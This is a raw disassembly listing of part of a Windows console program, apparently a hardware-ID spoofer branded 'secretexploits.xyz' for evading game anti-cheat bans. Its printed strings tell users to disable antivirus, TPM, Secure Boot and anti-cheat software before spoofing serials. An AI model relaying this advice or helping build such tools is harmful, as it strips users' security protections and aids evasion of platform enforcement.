lea rcx, [rbp + 0xab0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, str.___________secretexploits.xyz_______________________secretexploits.xyz_______________________secretexploits.xyz_____________n
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xac0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xac8], rax
movaps xmm0, xmmword [rbp + 0xac0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xad0]
call fcn.140037ee0
or esi, 4
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xad0]
mov rcx, rdi
call fcn.140037300
and esi, 0xfffffffb
mov dword [rsp + 0x5c], esi
lea rcx, [rbp + 0xad0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, str._n_n
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xae0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xae8], rax
movaps xmm0, xmmword [rbp + 0xae0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xaf0]
call fcn.140037ee0
or esi, 8
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xaf0]
mov rcx, rdi
call fcn.140037300
and esi, 0xfffffff7
mov dword [rsp + 0x5c], esi
lea rcx, [rbp + 0xaf0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xb00], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xb08], rax
movaps xmm0, xmmword [rbp + 0xb00]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb50]
call fcn.140037ee0
or esi, 0x10
mov dword [rbp - 0x20], esi
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xb50]
mov rcx, rdi
call fcn.140037300
mov rsi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13f8]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rdi, rax
lea rax, [rsp + 0x60]
mov qword [rbp + 0xe20], rax
lea rdx, [0x1400b13e0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2240]
lea rcx, [rbp - 0x10]
call fcn.140036b40
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140038140
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xb10], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xb18], rax
movaps xmm0, xmmword [rbp + 0xb10]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb40]
call fcn.140037ee0
mov eax, dword [rbp - 0x20]
or eax, 0x20
mov dword [rbp - 0x20], eax
mov dword [rsp + 0x5c], eax
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xb40]
mov rcx, rsi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xb20], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xb28], rax
movaps xmm0, xmmword [rbp + 0xb20]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb30]
call fcn.140037ee0
mov esi, dword [rbp - 0x20]
or esi, 0x40
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xb30]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Disable_all_antivirus__TPM__Secure_Boot_and_if_instaleld_vanguard_faceit__n
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
and esi, 0xffffffbf
lea rcx, [rbp + 0xb30]
call fcn.140036980
and esi, 0xffffffdf
lea rcx, [rbp + 0xb40]
call fcn.140036980
and esi, 0xffffffef
mov dword [rsp + 0x5c], esi
lea rcx, [rbp + 0xb50]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xb60], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xb68], rax
movaps xmm0, xmmword [rbp + 0xb60]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xbb0]
call fcn.140037ee0
bts esi, 7
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xbb0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2250]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xb70], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xb78], rax
movaps xmm0, xmmword [rbp + 0xb70]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xba0]
call fcn.140037ee0
bts esi, 8
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xba0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xb80], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xb88], rax
movaps xmm0, xmmword [rbp + 0xb80]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb90]
call fcn.140037ee0
bts esi, 9
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xb90]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Use_cleaners_to_clean_but_best_is_to_reset_your_pc__n
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
btr esi, 9
lea rcx, [rbp + 0xb90]
call fcn.140036980
btr esi, 8
lea rcx, [rbp + 0xba0]
call fcn.140036980
btr esi, 7
mov dword [rsp + 0x5c], esi
lea rcx, [rbp + 0xbb0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xbc0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xbc8], rax
movaps xmm0, xmmword [rbp + 0xbc0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xc10]
call fcn.140037ee0
bts esi, 0xa
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xc10]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b225c]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xbd0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xbd8], rax
movaps xmm0, xmmword [rbp + 0xbd0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xc00]
call fcn.140037ee0
bts esi, 0xb
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xc00]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xbe0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xbe8], rax
movaps xmm0, xmmword [rbp + 0xbe0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xbf0]
call fcn.140037ee0
bts esi, 0xc
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xbf0]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Check_your_serials_and_save_them_before_spoofing__n
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
btr esi, 0xc
lea rcx, [rbp + 0xbf0]
call fcn.140036980
btr esi, 0xb
lea rcx, [rbp + 0xc00]
call fcn.140036980
btr esi, 0xa
mov dword [rsp + 0x5c], esi
lea rcx, [rbp + 0xc10]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xc20], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xc28], rax
movaps xmm0, xmmword [rbp + 0xc20]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xc70]
call fcn.140037ee0
bts esi, 0xd
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xc70]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b227c]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xc30], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xc38], rax
movaps xmm0, xmmword [rbp + 0xc30]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xc60]
call fcn.140037ee0
bts esi, 0xe
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xc60]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xc40], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xc48], rax
movaps xmm0, xmmword [rbp + 0xc40]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xc50]
call fcn.140037ee0
bts esi, 0xf
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xc50]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Select_the_spoof_option__n
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
btr esi, 0xf
lea rcx, [rbp + 0xc50]
call fcn.140036980
btr esi, 0xe
lea rcx, [rbp + 0xc60]
call fcn.140036980
btr esi, 0xd
mov dword [rsp + 0x5c], esi
lea rcx, [rbp + 0xc70]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xc80], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xc88], rax
movaps xmm0, xmmword [rbp + 0xc80]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xcd0]
call fcn.140037ee0
bts esi, 0x10
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xcd0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2290]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xc90], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xc98], rax
movaps xmm0, xmmword [rbp + 0xc90]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xcc0]
call fcn.140037ee0
bts esi, 0x11
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xcc0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xca0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xca8], rax
movaps xmm0, xmmword [rbp + 0xca0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xcb0]
call fcn.140037ee0
bts esi, 0x12
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xcb0]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Now_check_and_compare_your_serials_to_the_old_ones_if_they_are_different_then_you_can_play__n
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
btr esi, 0x12
lea rcx, [rbp + 0xcb0]
call fcn.140036980
btr esi, 0x11
lea rcx, [rbp + 0xcc0]
call fcn.140036980
btr esi, 0x10
mov dword [rsp + 0x5c], esi
lea rcx, [rbp + 0xcd0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xce0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xce8], rax
movaps xmm0, xmmword [rbp + 0xce0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xd30]
call fcn.140037ee0
bts esi, 0x13
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xd30]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b22a8]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xcf0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xcf8], rax
movaps xmm0, xmmword [rbp + 0xcf0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xd20]
call fcn.140037ee0
bts esi, 0x14
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xd20]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xd00], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xd08], rax
movaps xmm0, xmmword [rbp + 0xd00]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xd10]
call fcn.140037ee0
bts esi, 0x15
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xd10]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.To_execute_the_available_services_enter_one_of_the_following_Numbers__1__2__3__4__5__6__7__8___n
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
btr esi, 0x15
lea rcx, [rbp + 0xd10]
call fcn.140036980
btr esi, 0x14
lea rcx, [rbp + 0xd20]
call fcn.140036980
btr esi, 0x13
mov dword [rsp + 0x5c], esi
lea rcx, [rbp + 0xd30]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, str._n
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xd40], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xd48], rax
movaps xmm0, xmmword [rbp + 0xd40]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xd50]
call fcn.140037ee0
bts esi, 0x16
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xd50]
mov rcx, rdi
call fcn.140037300
btr esi, 0x16
mov dword [rsp + 0x5c], esi
lea rcx, [rbp + 0xd50]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, str.___________secretexploits.xyz_______________________secretexploits.xyz_______________________secretexploits.xyz_____________n
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xd60], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xd68], rax
movaps xmm0, xmmword [rbp + 0xd60]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xd70]
call fcn.140037ee0
bts esi, 0x17
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xd70]
mov rcx, rdi
call fcn.140037300
btr esi, 0x17
mov dword [rsp + 0x5c], esi
lea rcx, [rbp + 0xd70]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, str._n_n
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xd80], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xd88], rax
movaps xmm0, xmmword [rbp + 0xd80]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xd90]
call fcn.140037ee0
bts esi, 0x18
mov dword [rsp + 0x5c], esi
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xd90]
mov rcx, rdi
call fcn.140037300
btr esi, 0x18
mov dword [rbp - 0x20], esi
mov dword [rsp + 0x5c], esi
lea rcx, [rbp + 0xd90]
call fcn.140036980
movups xmm0, xmmword [0x1400b4720]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x1400b4730]
movups xmmword [rbp], xmm1
movzx eax, word [0x1400b4740]
mov word [rbp + 0x10], ax
xor ebx, ebx
mov r8d, ebx
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x140035c3d
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x10]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
